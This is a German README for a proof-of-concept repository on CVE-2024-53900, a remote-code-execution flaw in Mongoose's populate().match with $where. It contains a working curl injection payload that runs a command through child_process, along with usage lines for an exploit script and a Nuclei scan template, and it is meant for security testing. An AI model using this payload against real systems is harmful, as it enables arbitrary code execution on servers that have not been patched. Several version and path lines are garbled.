
Reproduzierbare Umgebung und PoC für CVE-2024-53900, eine kritische RCE in Mongoose über populate().match $where. Enthält automatisiertes Exploit-Skript und Nuclei-Vorlage für Sicherheitstests.
Dieses Repository stellt eine reproduzierbare verwundbare Umgebung und einen PoC für CVE-2024-53900 bereit, eine kritische Remote-Code-Ausführungs-Sicherheitslücke (RCE) in Mongoose < 8.8.3.
populate().match kombiniert mit $whereReferenzen:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
Standardmäßig läuft die verwundbare Node.js-App innerhalb von Docker.
Allerdings werden GUI-Anwendungen (wie xcalc oder gnome-calculator) innerhalb eines Containers nicht gestartet.
👉 Wenn Sie die RCE durch Öffnen eines Taschenrechners demonstrieren möchten:
MongoDB in Docker ausführen (als DB-Backend)
docker run -d --name mongo -p 27017:27017 mongo:6
Die verwundbare Node.js-App lokal ausführen
cd ~/cve-2024/app
npm install
node server.js
270175000/home/kali/cve-2024/
├── docker-compose.yml # Umgebungseinrichtung
├── exploit.py # Automatisiertes Exploit-Skript
├── CVE-2024-53900.yaml # Nuclei-Vorlage
├── README.md # Dokumentation
├── app/ # Verwundbare Node.js-App
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # MongoDB-Volume
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

mongo:6188.5.0 (verwundbar)4.18.2